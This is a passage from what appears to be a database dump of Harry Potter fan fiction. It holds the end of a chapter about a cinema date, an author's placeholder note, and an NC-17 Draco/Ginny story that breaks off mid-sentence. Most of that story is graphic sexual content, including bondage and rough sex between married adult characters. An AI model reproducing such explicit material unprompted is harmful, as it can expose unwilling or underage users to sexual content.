to wonder if Ron was really on the same planet as\neveryone else. &#8220;You&#8217;ll have to ask. I&#8217;ve never been here before.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Harry was proud of himself, he hadn&#8217;t\neven cracked a smile.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;After Ron walked off to try and satisfy\nthe bottomless pit he called a stomach, Harry started looking around. About\nfive minutes later Harry was getting frustrated. Not only was it almost\nimpossible to push through the crowd. He had yet to catch a glimpse of Hermione.\n</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;For a brief moment He wondered if\npicturing her as the snitch would help any, he had no trouble finding that.\nJust as he was about to give up and get Ron, Harry was absolutely positive he\nsaw a familiar face just through the crowd.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:44.25pt;text-align:center" align="center">***********</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Hermione was not enjoying her wait. Not\nonly was it loud and crowded but it seemed that a group of local boys had\ninsisted that they wait with her.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;For the last time, really, I&#8217;ll be fine. My\ntwo friends will be here any minute.&#8221; Hermione looked at her three &#8216;protectors,&#8217;\nshe wasn&#8217;t that naive and she could tell that &#8216;protecting&#8217; was not on their\nlist of things to do.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;One of the boys brought his attention\nback up to her face. &#8220;Well what kind of gentlemen would we be if we let a young\nwoman like yourself wait all alone?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;A rather striking young woman at that,&#8221; one of\nthe other boys added.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Can&#8217;t be very good friends to leave you\nwaiting here by yourself. How &#8216;bout you come and hang out with us instead?&#8221;\nasked the first boy, casually swinging his arm over Hermione&#8217;s shoulder.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Yeah. I&#8217;m sure you&#8217;ll have much more fun with\nus. We&#8217;ll see to it,&#8221; said the third, his hand reaching much lower. That is,\nuntil another hand grabbed it firmly by the wrist.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Hermione slipped out from under the boys\narm and looked up. There stood Harry, holding one of the boy&#8217;s arms. At the\nmoment he looked every bit the powerful wizard she knew he was destined to be.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;I don&#8217;t believe the lady would appreciate\nthat,&#8221; he said, looking straight into the boy&#8217;s eyes. &#8220;I&#8217;ll ask you not to try\nit again.&#8221; Harry certainly left no room for discussion.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Oh there you are Harry! Is Ron with you? We\nshould go, the movie starts soon.&#8221; It looked as though Hermione had forgotten\nthe other boys were even there.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Harry released the boy&#8217;s wrist and\nmotioned for Hermione. &#8220;Shall we?&#8221; Just as the two turned Harry felt a hand on\nhis shoulder.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Just a second there pal. We were here first\nand the &#8216;lady&#8217; wants to come with us. Isn&#8217;t that right guys?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Looking over his shoulder Harry calmly\ntook hold of the boy&#8217;s hand and glanced at Hermione. Just looking at her and\nthe way she looked back gave him all the answer he needed. He turned back to\nthe boy, releasing his hand. </p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Hermione glared at the boys, looking\nequally intimidating as Harry. &#8220;I&#8217;m a big girl now, I&#8217;ll choose where I&#8217;m\ngoing.&#8221; A small smile showed on her face as she took Harry&#8217;s arm in her own.\n&#8220;You boys play nicely now.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;As they walked away they could hear the\nboys grumbling to themselves. &#8220;What does HE have that we don&#8217;t?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Harry grinned and leant down next to\nHermione. &#8220;You.&#8221; Even if she tried, Hermione couldn&#8217;t stop the smile from\nspreading across her now scarlet face.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;After leaving the crowd they spotted Ron.\nAmazingly enough he was standing at the entrance to the right movie, with three\ntickets in his hand.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Thanks for your help Harry. Of course we both\nknow you were saving them just as much as you were saving me.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Harry blushed a little. &#8220;Yeah&#8230; well, I\ndon&#8217;t think those guys were ready to experience an angry Hermione. Might not\nmake it out of here alive.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Hermione smacked him lightly in the arm.\n&#8220;Regular hero, aren&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;What can I say, it&#8217;s in the job description.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;You should have that on your resume.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Oh, I do. It&#8217;s right under winner of Witch\nWeekly&#8217;s Most Charming Grin Award.&#8221; </p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Prat.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Yeah, that too.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;So&#8230; what movie are we seeing? So far I&#8217;ve been\nleft in the dark.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Something called &#8216;Wiz Kids.&#8217;&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;How appropriate. Ready there Ron?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Took you two long enough. What happened?\nDecided to sneak away for some private time?&#8221; he asked, raising his eyebrows\nsuggestively.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;The two looked away, slightly\nembarrassed. &#8220;Something like that,&#8221; answered Hermione mischievously. &#8220;Either\nway, it&#8217;s great to see you too again!&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;Likewise of course. I mean with Ginny away\nstudying dragons with Charlie, I&#8217;m stuck all alone with the twins. They tried\nanother invention on me yesterday. &#8216;Chocolate chip-your-tooth cookies.&#8217; Found\nit bloody hilarious they did. Anyways, anything new?&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&#8220;We&#8217;ll have time to talk later,&#8221; said Hermione,\npushing the two into the theatre. &#8220;Just wait until I tell you about this crazy\nidea my matchmaker of a father just had.&#8221;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">Harry gulped.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal"><b><u>Author&#8217;s\nNote</u></b></p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;Finally! I won&#8217;t get into all the details\nas to why this chapter is so late. Some of you might already know. I know the\nwhole &#8216;damsel in distress&#8217; scene is a little clich&#233;, but I couldn&#8217;t help\nmyself. Harry&#8217;s a hero so this sort of stuff happens.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;I really want to thank my reviewers for\ngiving me the courage to continue writing. When I saw that Dauphin had reviewed\nI was ecstatic. (Me = big fan). Even a simple &#8216;nice job&#8217; was much appreciated!</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;I have only one request. I have chapter\nthree outlined and some of it written, but I&#8217;m lacking on one idea. I find that\nsome of the best dates involve going to more than one place. I have the first\nscene written but I&#8217;m wondering if anyone has a request for a second place they\ncan go. Keep in mind they are minors and they can&#8217;t apparate. At least\nnot&nbsp; both of them. Feel free to email me or let me know on ICQ. Other than\nthat, thanks for reading.</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">* Chocolate chip-your-tooth cookies were\nunknowingly invented by my little sister. They&#8217;re actually not bad if served\nwarm and soaked thoroughly in milk. All you aspiring bakers out there: remember\nto use baking powder&#8230;.*</p>\n\n<p class="MsoNormal" style="margin-right:39.6pt">&nbsp;</p>\n\n\n\n\n\n\n'),
	(20, 3, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This isn&#8217;t\nreally a chapter. This was me trying to see if I could get the spacing right on\nmy fic and then not being able to delete this afterwards. Sorry &#8216;bout this. </p>\n\n<p class="MsoNormal">-Quis</p>\n\n\n\n\n\n\n'),
	(22, 1, '<p>\n<b>DISCLAIMER:</b> All of the characters and places here are owned and copyrighted by JK Rowling.<br/><br/><br/>\n<b><span class="u">AUTHOR\'S NOTES</span></b><br/><br/>\nOne of the reasons why i wrote this story is because, like all of reiko\'s dear followers of her fic <b>Serpent\'s Bride</b>, i too wanted to know what REALLY happened to the famous red lingerie! Since i happen to be one of her beta-readers, i kinda shared to her my ideas about it... and she totally LOVED it! She insisted that i write it for her, and after much hesitation... and intense mind-boggling research, i finally gave in... and here it is!<br/><br/>\n\nThis is very much set in AU (as well as a songfic from Natalie Imbruglia)... in fact, one of the major changes i\'ve made was the date of Draco\'s birthday (he was supposed to have it 3 months before this scene)... but then reiko gave me the creative license to change it... so there!<br/><br/>\n \nBefore anything else, i would like to WARN you guys that this fic contains some pretty STEAMY and SEXUALLY GRAPHIC SCENES... that\'s why it\'s NC-17... but i do promise that the whole thing is not slutty or trashy... it\'s actually pretty romantic... in a sexual kind of way! ::evil grin::<br/><br/>\n\nLast but not the least, I would love to dedicate this one to all the readers of Serpent\'s Bride... i hope i lived up to all your expectations; my beta-readers <b>Pat</b> (who helped me with some of the very hot "moments"... man, you\'re one very demanding reader! hehehe...) and <b>kalangitan</b> (hope you like the changes Pat and I made!)...<br/><br/>\n\nand of course, to <b>reiko</b>... girl, this is my tribute to you and one of the best D/G fanfics out there!!! thanks for trusting in me and giving me the encouragement and enthuasiam to finish this one!!! i deeply appreciate it!!! ::gives her a big,warm hug::<br/><br/>\n------<br/><br/><br/>\n<b><i>Here it comes again<br/>\nCannot out run my desires...</i></b><br/><br/> \n \nGinny slowly brushed her hair, looking at her reflection by her vanity. She couldn\'t help but admire her smile, her hair... and most of all, the silky red lingerie that falls over her body. In the past she had dismissed all thoughts of ever wearing such a provocatively enticing frock. The mere sight of it sent shivers to her spine like a huge wave of nausea and fatigue.<br/><br/> \n \nUntil now.<br/><br/>\n \nPutting her brush down, she took another shot of Cuérvo Gold tequila, which she insisted that Hammilton buy at a local Muggle liquor store. Ginny felt the hot liquid cruise to her body like a flame blazing a trail. She knew that she couldn\'t possibly mount such an act with her being somber and well. She needed the courage to do it- in order to make it <i>perfect.</i><br/><br/>\n \nApplying some red lipstick, she recalled the talk she had with Draco as they went back to their chamber after breakfast...<br/><br/><br/>\n<i>"I didn\'t know today was your birthday!? Why didn\'t you tell me before?" she asked, clinging onto his arm as they approached the stairs.<br/><br/>\n \n"You didn\'t ask," he simply answered, turning to face her. He seized a lock of her and tucked it on her ear. "Besides, nobody really cares about my birthday. I just take it like it was any other day."<br/><br/>\n \nShe smiled at him and gave him a quick kiss. "Not this year." She encircled her arms around his neck and whispered. "I think I could come up with a nice surprise for you."<br/><br/> \n \nDraco smirked, draping his arms around her waist, edging her closer towards him. "What do you have in mind?"<br/><br/>\n \nGinny thought for awhile, gave him the most teasingly delicious smile and tousled his silvery-blond hair. "Just don\'t keep me waiting all night, okay?"<br/><br/>\n\n"Okay."</i><br/><br/><br/>\n<b><i>Cover my descent...</i></b><br/><br/>\n \nGinny stared at herself upon the mirror. The satin and lace slip hugged her flawlessly showing off her breasts with its V-neckline, and its high side slits exposing her long, slender legs. Silently she cursed herself. <i>I can\'t do this!</i> she thought, picking up her brush and started stroking her hair again. But she wanted this night to be special. Ever since that first night they made love, they would do it in such a gentle and sensual manner. But somehow, no matter how passionate and delicate they were towards each other, it lacked something- something they both wanted but were afraid to feel.<br/><br/> \n\nShe wanted more than his tender caresses. She wanted him to want her the way men always do. She wanted to feel heat and desire. For the first time in her life, Ginny wanted to experience to be taken over with such force and hunger, that the very thought of it would send her to crying due to such sexual pleasure.<br/><br/>  \n\nNot wasting time, she put her hair up and secured it with a same sapphire-studded clip she used during their engagement party. She pulled out a few strands and gave them a nice curl. Seeing that her look was just right, she sprayed some of her finest perfume on her neck, shoulders, hands... just about everywhere. Giving herself one final glance, she heaved a sigh... and drank another shot of tequila.<br/><br/>  \n\n"It\'s now or never, Virginia"<br/><br/>\n\nGinny then moved towards the chair situated at the center of her chamber. She traced her fingers along its sturdy structure and soft cushion, which seemed totally appropriate for tonight\'s performance. Taking out her wand, she whispered <i>Nox</i> at her chandelier and covered her window with one of its flowing drapes. Enveloped in total darkness, she silently paced herself towards the edge of her bed. She began humming this song that she can\'t get her mind off, making her feel more calm and at ease with what she was about to do. She kept reassuring herself that Draco would enjoy this night… as she patiently waited for his arrival.<br/><br/>\n<b><i>And throw the beauty on the fire...</i></b><br/><br/>\n<br/><br/><br/>\n\nDraco entered their chamber feeling weary and very much in a foul mood. The investigations regarding the attack towards Ginny were beginning to be pointless! Just like he earlier assumed, no magic was used in sabotaging the carriage. He started suspecting people who would want his wife dead. Could she really be in trouble? Or was it really just what they\'ve all speculated... that it was just an accident.<br/><br/> \n\nHe steadily removed his cloak and surprisingly noticed that Ginny wasn\'t there at all. He then gazed towards her favorite nook by the window... but she was not there either. Panic rose through his voice as he called out her name.<br/><br/> \n\n"I\'m over here!" she answered behind the wall that leads to her chamber. Draco flounced towards it and pushed it lightly. The whole place was dark, with the chandelier lights burned off and windows draped. He flushed with excitement as a hint of her perfume filled the chamber. "Where are you?"<br/><br/> \n\n"Why don\'t you just sit by the chair near the center." her voice echoed from across the room. Draco smirked at the tone of her voice, sounding both stern and needy. He did just as he was told- took a seat, placed his arms on the armrest and waited for her. "What now?"<br/><br/> \n\nSuddenly, strips of leather emerged out of nowhere and strapped his arms on the chair. He then tried to move his legs but it was too late- his feet were tied up as well. He started struggling free but every time he moved, the straps would tighten and burn across his skin.<br/><br/>  \n\n"WHAT THE HELL IS THIS!" he barked, completely angered and pissed. "Ginny, this is not funny anymore!"<br/><br/> \n\nSilence.<br/><br/> \n\nDraco fumed further as he continued to struggle from his tight predicament. "If you don\'t untie me this instant I will..."<br/><br/> \n\n"What, Draco? Torture me?"<br/><br/> \n\nHearing a faint <i>Lumos</i> spell being said, the dim shimmering of lights glistened throughout the chamber, casting shadows imaginable by the naked eye.<br/><br/>  \n\nThat\'s when he finally saw her, sitting by the end of the bed, legs crossed... and wearing a luscious red garment adored of lace and silk. His first reaction was shock- seeing her in such an arousing lingerie was something he\'d never imagine she would get herself into.<br/><br/> \n\nThen his reaction turned to sheer lust- so basic, so strong. As she walked towards him, sensations of utmost desire flowed through him with such power that his whole body responding in a very erotic manner... a sensation he thought he had lost a long time ago.<br/><br/>\n<b><i>Drawn towards the edge<br/>\nDo I assume I could fly...</i></b><br/><br/>\n\n"Tell me Draco," Ginny whispered hoarsely, straddling herself onto his lap. She pulled off her clip, letting her hand flow all across her breasts. Feeling relaxed, she placed her arms around his neck, making him feel completely trapped to her spell. "What are you going to do to me?" Her hands began tousling his hair, sending shudders all over his spine. He tried kissing her but she quickly moved her face away from his, and slowly unbuttoned his shirt. She was teasing him to no avail... and he liked it. Judging from her scent, it seemed to him that she\'s drunk and very much aroused- this made him smile mentally. Her hands caressed his naked chest lightly and planted wet kisses all over, making him excited and squirmy with ardour. Her fingers playfully tinkered his trousers, but decided on kissing his neck instead. Her tongue tasted his skin with such fervor, that Draco groaned with pleasure. <br/><br/>  \n\n"Ginny..." he hissed, mustering all his willpower not to come. She then placed her finger to him. "Don\'t talk. It\'ll only make the pain go deep." She gave him a wicked smile and licked his mouth gently. Draco took a chance and brushed his lips on her but she quickly stood up, leaving him with what felt like an erection on top of his erection.<br/><br/> \n\nShe giggled as she headed towards one of the bedposts and wrapped her arms around it. "Getting a bit impatient aren\'t we? Relax honey, I\'m just getting started." With that, she snapped her fingers, and sensual music filled every corner of the room. Ginny then closed her eyes, turned her back along the post, and started dancing in a very alluring motion. She moved as if she were in a trance, letting her hands touch her body in a way he always imagined it to be. Her hips swayed with the music like some sort of worship wherein she was there to please him... to give him solace with every movement of her body as her offering.<br/><br/>\n<b><i>Every secret shared<br/>\nWhy don\'t I drink the feelings dry...</i></b><br/><br/> \n\nGinny sensed a sort of freedom she had never experienced before, that she was so impelled to let loose all the urges she only dreamed about in her fantasies. She reminded herself of the nymphs that she had read about- dancing whimsically along the mystic forests that the Greeks had yearned for a long time ago. Now she suddenly felt transported to that world... where pleasure is the way of the gods...<br/><br/>  \n \nWith the dimmed lights casting enthralling shadows all over her, Draco gazed at her form with such passion that he could feel himself losing control. He always liked to take charge- to initiate the attack. But now he was entirely drawn to her power, a power she possessed for so long yet dared not to embellish on him.<br/><br/> \n\nUntil now.<br/><br/>  \n\nWhen the music faded to a close, she was holding the bedpost, giving it a kiss like it was her mysterious lover. Draco\'s fingers felt numb as he continued to dig deeper into the cushions of his seat. They were both in a state of yearning, a yearning that was ready to let loose and take them beyond the limits of their sexual desires. Ginny stood behind it and sighed heavily, exhausted... aroused.<br/><br/>  \n\nShe then glanced at him. He could see in his eyes that he was completely ravenous with passion. This excited her; yet she knew there was still something she needed to accomplish in order to totally take him to the edge. She went up to him and again placed herself on top of him. Underneath, she could almost feel him hitting her in such a taut manner. She smirked as she leaned over, letting his mouth dawdle all over her bare shoulders. She hugged his neck, engulfed in sensory pleasures too enraged to describe.<br/><br/>  \n\nDraco feasted on her like a raving dog starved all throughout the night. Her scent, mixed with sweat and lust, quickened his pace even more. With only his mouth as his tool, he grabbed whatever part of her he was craving for and brought it up to him like a morsel of food, not caring whether it would cause her intense pain. His whole body trembled uncontrollably; his hands continued to jerk free from its chains digging deeper to the ends of his sanity. He was mad... and he wanted her now. Nothing could be softer than her silky skin concealed in such an alluring cloth. To him, the red lace and silk were like bars locking her in suspended bliss. What a temptation to take it all off with such brute force and expose her entirety to him.<br/><br/>  \n\nGinny moaned in heated delight as his taste crawled across her neck and into her awaiting lips. His tongue brushed her teeth and lips when he thrusted it into her mouth, exploring every moist, warm nook he could attain. She returned it with all the force she could muster... so much so that she had to grab his face and push their mouths apart.<br/><br/> \n\n"Not yet. Not just yet." She quickly turned her face towards his neck and kissed it lightly. His body shook rapidly with every touch she embedded in him. He whispered to her to set him free... to let him take her. She ignored him and continued on, gradually unbuttoning his trousers and kneeled before him.<br/><br/>  \n\nSeeing him rigid with pleasure, she suddenly felt unsure of herself. How many women have done this to him? Once? Twice? Would she be able to please him this time? Her hands then circled his penis like that of a delicate spider with knowing fingertips, touching the most vulnerable nerves of response. Slowly, the fingers enclosed it, stroking its flesh shell; then feeling the inrush of dense blood stretching it. She could almost feel the swelling of his nerves and muscles as if it were a stringed instrument. "I\'ve never done this before, so if I do something wrong, just holler ok?" With the neatness of touch, a subtlety few women had ever developed, she inserted the penis in her mouth and closed her lips around it.<br/><br/>\n<b><i>Don\'t go too far<br/>\nLimitation scars</i></b><br/><br/> \n\nDraco quivered as he looked at her, all innocence gone forever. The little Weasley girl, that roamed the vast corridors of Hogwarts chasing The Boy Who Lived, no longer existed. Kneeling before him was a woman of lust, of desire. He was still watching her and her tongue moving caressingly to reach the tip of his sex. He remained engrossed, his penis erect, his body at times shivering slightly, as if the pleasure coursed through it at the memory of her mouth parting to touch his smooth penis. Her hands continued to languish him with insatiable ecstasy, moving smoothly in fluid soft motions. He arched back his head and was beginning to feel a wave of passion and fury he had never encountered before. He was losing the battle. He was totally ready to explode.<br/><br/> \n\nSensing the tightness of his muscles, Ginny couldn\'t wait anymore. She had given him all she had to offer... and now she wanted something in return. She released him from his bliss and astride on top of him. She could feel the tremors of his body lingering through her skin like a wild fire ready to smolder her in flames. Looking at him now, heaving with unrequited zeal, she stroked his arms and left her hands on top of the straps of leather that had been keeping him tied up all this time. His hands shuddered at her touch, aching for them to fondle her immensely.<br/><br/>  \n\n"Foreplay\'s over." she murmured <i>Finite Incantatem</i> and Draco\'s hands and feet were no longer bounded. "Now show me what you got!"<br/><br/>\n<b><i>Here it comes again<br/>\nYou raise the bar even higher...</i></b><br/><br/> \n\n"I thought you\'d never ask." He crushed his mouth on hers, feeding her his pain, the pain she deliciously caused. His fingers crawled unto her back; he could feel the roughness of the lace- it irritated him. He then grabbed the lusty fabric and ripped it off her, its shreds falling to the floor like confetti strips. This made Ginny gasp as her tongue plunged to his throat, making him groan with so much hunger. She slipped off his shirt and let her fingers cuddle him, searching for anything that could entice her. With his trousers down, and his wife completely nude, Draco gripped her hips. She was hot and wet, and seemed to clamp over him like a greedy jaw when he finally plunged himself into her.<br/><br/>  \n\nShe wrapped her legs around him as he lifted her off the chair and pinned her against the bedpost she seduced awhile ago. She clinged on to his neck and moaned, long and deep. The solid rhythmic thud of body against body, against wood, and the slick strong feel of him pounding into her. Unfortunately... "Ouch!"<br/><br/>  \n\n"What? What\'s wrong?" Draco asked, striding slowly inside her. He suddenly felt a panic growing in him. <i>Was I too rough on her?</i><br/><br/> \n\n"Back. Hurts" she whimpered. Kissing him sweetly, she gestured towards the bed. She rested her forehead on his, heaving mercifully at every thrust that coursed through her womb.<br/><br/> \n\n"Oh." Miraculously, the drapes on the windows fluttered, revealing the bright radiance of the moon. It washed over the bed, over her face as he laid her down. The mattress gave under his weight and linked his fingers with hers.<br/><br/>   \n\n"I want to look at you." she told him, gesturing towards the glowering light coming from outside. She had to use all her concentration to summon them without using her wand. But then again, he was too much a distraction for her to handle.<br/><br/> \n\nDraco came up to her ear and whispered. "So do I." They were now basked in the world of warm flesh, feeling only the soft flesh vibrating, and every touch was a joy. He dragged her up, hands rough, grip near bruising, ripping another gasp from her as her head fell back tumbled. He brushed his lips unto her as he slowly eased himself off her. He could only see her disappointment flashing through her eyes but paid no heed to it. His lips began to graze her skin, his hands caressing over her breasts. She moaned in languor when he sucked her left breast while he fondled the other. Afterwards, his fingers roamed the entirety of her body, as if to kindle each little part of it with his touch. Her waist was very small, and his hands loved that curve opening wider and wider from the waist to the hips. He traced each curve lovingly, seeking to own her body with his hands. His kisses trailed deep down till it reached her legs and into her sex. He buried his face there, licking, biting.<br/><br/>\n \nHis tongue was like a stabbing, swift and sharp. It traveled every inch of the little valley beneath her navel, culminating on her pearl, causing an erection of her own. Seeing the palpitations increased his thirst even more, almost drowning him. His mouth consumed her, enveloping her now red and swollen vulva. With the bobbing motion of his head engulfing the ends of her femininity, Ginny then drilled her nails to his shoulders. Hurting. A delicious pain. At that point her body was so burning hot... gasps and moans surged out of her mouth.<br/><br/> \n\nBy the time the fire burned low, he lingered back on top of her and devoured her mouth. But when she reached over him, he pressed her hands flat on the bed, sliding them back until her elbows were locked. "I want you to take this time until you can\'t take anymore. Then you\'ll let go and you\'ll give," he paused momentarily and kissed her briefly on the lips, light and intense at the same time, "everything." he continued, his voice already rasping with heavy desire. His mouth all but savaged her, tearing her down with one jagged and panicked thrill as he entered her once more.<br/><br/>\n\nGinny\'s arms trembled from the strain even as she gloried every push he gave her. She continued to stare at him, utterly languish in unimaginable pleasure. When the rhythm of his movements quickened, it caused a huge wound in her whole body, a wound of ecstasy and pleasure, which rent her body like lightening. She was now plunged into a realm of insatiable passion that she could not longer breathe from too much anticipation. It feared her... yet it elated her senseless. He was ferocious beast feasting on his prey after a long fought battle. What a glorious feast it is!<br/><br/>\n<b><i>I cannot catch my breath<br/>\nSo throw the beauty on the fire...</i></b><br/><br/> \n\nDraco\'s quivers began to move rapidly. The inferno of his body craved for her to be overwhelmed by his hunger. Losing himself in the moment, he raised her legs around his shoulders and violently crushed himself to her, causing the bed to shake freakishly. Every thrust hastened her breathing, letting out a mindless cry of release. It excited him... and sent shivers all over his spine. He\'s hurting her... obsessing her... and he hated himself for it. She looked into her eyes, and they were pleading to him- but he didn\'t know whether she wanted him to stop or continue on. He was now scared of himself. He didn\'t wish for her to feel like he was having sex with one of his whores. She was nothing like them! Not even Blaise\'s sexual competence would surmount to the rage of his body on top of her... the one woman he had vowed never to suffer under his care. She must have sensed his anxiety- she bended over and kissed him warmly, assuring himself that she was fine, content. He smiled.<br/><br/>     \nAfter planting a quick kiss on him, calming his inner demons, Ginny lay back as her hands locked around the rungs of the bed. Her head whipped to the side as sensations, dark pleasures, swamped her. His taste, his scent flooded her senses, swelled them. Right now, she was his victim, a victim of too great a joy, a joy that was like a little death, a dazzling little death, that nothing else to give but two bodies in love with each other, body and soul. But she felt restless- she abruptly had the urge to dominate, command, attack. Possessing what little strength she had left, she arched her back and roll him off her- first on his side, then on his back.<br/><br/>\n<b><i>Don\'t push too hard<br/>\nLimitation scars...</i></b><br/><br/> \n\nDraco watched as she held his face and offered him a passionate kiss. "My turn." Her voice was sweet and hoarse, just like the one she had earlier. With the brilliance of the moon, her whole body sparkled before him, every bead of sweat and sex shining like diamonds in the rough. She was absolutely radiant! She took him, swallow it up to the hilt, so that her pubic hair rubbed against his. He tried to reach for her breasts but she was too fast for him- she pushed them back. "You better stay still if you want me to go on, okay?" she hushed, moving up and down with her hands on his shoulders.<br/><br/>  \n\n"Okay." he told her.<br/><br/>  \n\nShe playfully rubbed her nose on his and straightened up again. There was nothing in his world now but her, the heat surrounding him, the steady rise and fall of her hips as she rode him. Her bright brown eyes stayed wide and fixed on his even as her breath began to tear. Sometimes she raised herself a little so that she kept only the head of the penis in her sex, and she moved lightly, very lightly, just enough to keep it inside, touching the edges of her sex. Then suddenly moving downward, engulfing the whole penis, letting go a small, strangled cry as the orgasm sprang free. It was so strong that she had thought she would have gone insane, with a hatred and joy she had never known before. Heaving blissfully, she drifted towards him, forehead resting on his, hearing his silent moans. And with that, they both let go.<br/><br/>\n<b><i>Do I assume that I could fly...</i></b><br/><br/>\n<br/><br/><br/>\n\nThe moon silently hid behind the nightly sky, its last rays fading. With their bodies entangled in a sensual embrace, Ginny sobbed hysterically. She didn\'t know whether she wanted to cry or laugh- all she wanted was this marvelous moment to be remembered for as long as they\'re together... but for how long? "Like your present?"<br/><br/>\n\nDraco chuckled and shifted her beneath him. "You are the most incredibly insane woman I\'ve ever met." he said in between kisses. "I nearly tore my hands off from those wretched straps of yours."<br/><br/> \n\nGinny glanced at his raw scarred wrists, and held it. "Oh, poor baby. Does it hurt?" she soothed, giving butterflies kisses to it.<br/><br/> \n\n"It will heal." Lazily, he rested his head over her breasts. "Besides, it was well worth it."<br/><br/>\n\nShe twirled his hair in her fingers and watched as his head rose and fall with her every breath. "I\'m glad."<br/><br/> \n\n"Did I hurt you?" Draco asked, his lips brushing the side of her breast, she smiled a lazy pleasure of it. "I didn\'t scare you off didn\'t I?"<br/><br/>\n\n"Maybe a little." She abruptly shut her mouth. After a moment of tensed silence, she sighed. "Well… a lot, actually." Her eyes were nearly closed, but he felt his head move, felt him look at her. "But then I remembered something you said to me before."<br/><br/>\n\n"What did I 